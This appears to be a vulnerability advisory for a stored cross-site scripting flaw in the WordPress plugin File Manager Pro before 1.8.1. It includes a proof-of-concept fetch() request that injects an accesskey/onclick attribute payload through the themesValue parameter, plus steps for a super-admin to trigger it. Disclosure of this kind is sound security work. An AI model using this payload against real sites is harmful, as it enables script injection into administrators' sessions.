File Manager Pro < 1.8.1 - Admin+ Stored Cross-Site Scripting

Proof of Concept

As an admin, open the File Manager and run the following JS code:

fetch("http://localhost:10008/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": "action=selector_themes&themesValue=dark-slim\"+accesskey=X+onclick=alert(/XSS/)+\"&nonce=" + wpData.nonce,
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

As a super-admin, open the File Manager and press the Access Key combination (Firefox for Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X) to trigger the XSS.